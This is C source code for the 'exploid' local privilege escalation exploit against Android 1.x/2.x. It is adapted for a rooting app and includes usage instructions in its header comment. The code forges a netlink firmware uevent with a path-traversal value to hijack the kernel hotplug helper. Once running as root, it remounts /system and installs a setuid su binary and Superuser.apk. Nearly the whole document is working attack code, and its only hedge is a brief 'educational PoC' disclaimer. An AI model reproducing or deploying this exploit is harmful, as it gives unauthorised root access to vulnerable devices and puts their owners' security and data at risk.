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/* android 1.x/2.x the real youdev feat. init local root exploit. * (C) 2009/2010 by The Android Exploid Crew. * * Copy from sdcard to /sqlite_stmt_journals/exploid, chmod 0755 and run. * Or use /data/local/tmp if available (thx to ioerror!) It is important to * to use /sqlite_stmt_journals directory if available. * Then try to invoke hotplug by clicking Settings->Wireless->{Airplane,WiFi etc} * or use USB keys etc. This will invoke hotplug which is actually * our exploit making /system/bin/rootshell. * This exploit requires /etc/firmware directory, e.g. it will * run on real devices and not inside the emulator. * I'd like to have this exploitet by using the same blockdevice trick * as in udev, but internal structures only allow world writable char * devices, not block devices, so I used the firmware subsystem. * * !!!This is PoC code for educational purposes only!!! * If you run it, it might crash your device and make it unusable! * So you use it at your own risk! * * Thx to all the TAEC supporters. */ #include <stdio.h> #include <sys/socket.h> #include <sys/types.h> #include <linux/netlink.h> #include <fcntl.h> #include <errno.h> #include <stdlib.h> #include <string.h> #include <string.h> #include <unistd.h> #include <sys/stat.h> #include <signal.h> #include <sys/mount.h> #define SECRET "secretlol" void die(const char *msg) { perror(msg); exit(errno); } void copy(const char *from, const char *to) { int fd1, fd2; char buf[0x1000]; ssize_t r = 0; if ((fd1 = open(from, O_RDONLY)) < 0) die("[-] open"); if ((fd2 = open(to, O_RDWR|O_CREAT|O_TRUNC, 0600)) < 0) die("[-] open"); for (;;) { r = read(fd1, buf, sizeof(buf)); if (r < 0) die("[-] read"); if (r == 0) break; if (write(fd2, buf, r) != r) die("[-] write"); } close(fd1); close(fd2); sync(); sync(); } void clear_hotplug() { int ofd = open("/proc/sys/kernel/hotplug", O_WRONLY|O_TRUNC); write(ofd, "", 1); close(ofd); } int main(int argc, char **argv, char **env) { char buf[512], path[512]; int ofd; struct sockaddr_nl snl; struct iovec iov = {buf, sizeof(buf)}; struct msghdr msg = {&snl, sizeof(snl), &iov, 1, NULL, 0, 0}; int sock; char *basedir = NULL; /* I hope there is no LD_ bug in androids rtld :) */ /*if (geteuid() == 0 && getuid() != 0) rootshell(env);*/ if (readlink("/proc/self/exe", path, sizeof(path)) < 0) die("[-] readlink"); if (geteuid() == 0) { clear_hotplug(); /* remount /system rw */ //DROID 1 and Ally //mount("/dev/block/mtdblock4", "/system", "yaffs2", MS_REMOUNT, 0); //DROID X //mount("/dev/block/mmcblk1p21", "/system", "ext3", MS_REMOUNT, 0); //GALAXY S mount("/dev/block/stl9","/system", "rfs", MS_REMOUNT, 0); //Eris and HTC Hero //mount("/dev/block/mtdblock3", "/system", "yaffs2", MS_REMOUNT, 0); //copy("/sdcard/su","/system/bin/su"); //copy("/sdcard/Superuser.apk","/system/app/Superuser.apk"); copy("/data/data/com.unstableapps.easyroot/files/su","/system/bin/su"); copy("/data/data/com.unstableapps.easyroot/files/Superuser.apk","/system/app/Superuser.apk"); chmod("/system/bin/su", 04755); chmod("/system/app/Superuser.apk", 04744); for (;;); } //basedir = "/sqlite_stmt_journals"; basedir = "/data/data/com.unstableapps.easyroot/files"; if (chdir(basedir) < 0) { basedir = "/data/local/tmp"; if (chdir(basedir) < 0) basedir = strdup(getcwd(buf, sizeof(buf))); } memset(&snl, 0, sizeof(snl)); snl.nl_pid = 1; snl.nl_family = AF_NETLINK; if ((sock = socket(PF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT)) < 0) die("[-] socket"); close(creat("loading", 0666)); if ((ofd = creat("hotplug", 0644)) < 0) die("[-] creat"); if (write(ofd, path , strlen(path)) < 0) die("[-] write"); close(ofd); symlink("/proc/sys/kernel/hotplug", "data"); snprintf(buf, sizeof(buf), "ACTION=add%cDEVPATH=/..%s%c" "SUBSYSTEM=firmware%c" "FIRMWARE=../../..%s/hotplug%c", 0, basedir, 0, 0, basedir, 0); printf("[+] sending add message ...\n"); if (sendmsg(sock, &msg, 0) < 0) die("[-] sendmsg"); close(sock); sleep(3); return 0; } |
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